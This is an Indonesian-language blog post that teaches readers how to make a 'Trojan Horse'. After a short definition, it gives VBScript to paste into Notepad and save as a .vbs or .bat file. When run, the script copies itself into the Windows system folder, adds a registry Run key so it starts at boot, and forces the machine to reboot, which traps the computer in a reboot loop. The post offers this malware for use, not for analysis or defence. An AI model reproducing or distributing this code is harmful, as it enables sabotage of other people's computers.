Trojan Horse

Kali Ini Saya Ingin Membagikan Cara Membuat Trojan Horse.
Apa Itu Trojan Horse ? Trojan Horse Adalah Virus Kuda :v Just Kidding.. Trojan Horse atau Kuda Troya atau yang lebih dikenal sebagai Trojan dalam keamanan komputer merujuk kepada sebuah bentuk perangkat lunak yang mencurigakan (malicious software/malware) yang dapat merusak sebuah sistem atau jaringan. Tujuan dari Trojan adalah memperoleh informasi dari target (password, kebiasaan user yang tercatat dalam system log, data, dan lain-lain), dan mengendalikan target (memperoleh hak akses pada target).

========== OK Langsung Saja Cekidot ==========
~ Buka Notepad, Lalu Pastekan Kode Ini Kedalam Notepad :set FSobj=CreateObject(“Scripting.FileSystemObject”) set sysDir = FSobj.GetSpecialFolder(1) createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs” sub createRegKey(regKey,regVal) set regEdit = CreateObject(“WScript.Shell”) regEdit.RegWrite regKey,regVal end sub set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”) generateCopy.close set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1) setFile() fixedCode=replace(fileData,chr(94),”"”") set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2) procreateCopy.write fixedCode procreateCopy.close rebootSystem() function setFile() fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _ “strComputer = ^.^ ” &vbcrlf& _ “Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _ “& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _ “Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _ “(^Select * from Win32_OperatingSystem^)” &vbcrlf& _ “For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _ “ObjOperatingSystem.Reboot()” &vbcrlf& _ “Next” end function function rebootSystem() strComputer = “.” Set objWMIService = GetObject(“winmgmts:” _ & “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″) Set colOperatingSystems = objWMIService.ExecQuery _ (“Select * from Win32_OperatingSystem”) For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot() Next end function

Simpan Dengan Format File .vbs/.bat (contoh : ilmantamvan.bat) & Type Filenya Yaitu All Files

Sekian Dari Saya . Bila Dalam Penulisan Huruf / Kata Ada Yang Salah.. Tolong Dimaafkan / Subscribe Saja Gan . Karena Saya Juga Manusia Tak Luput Dari Salah :) Terima Kasih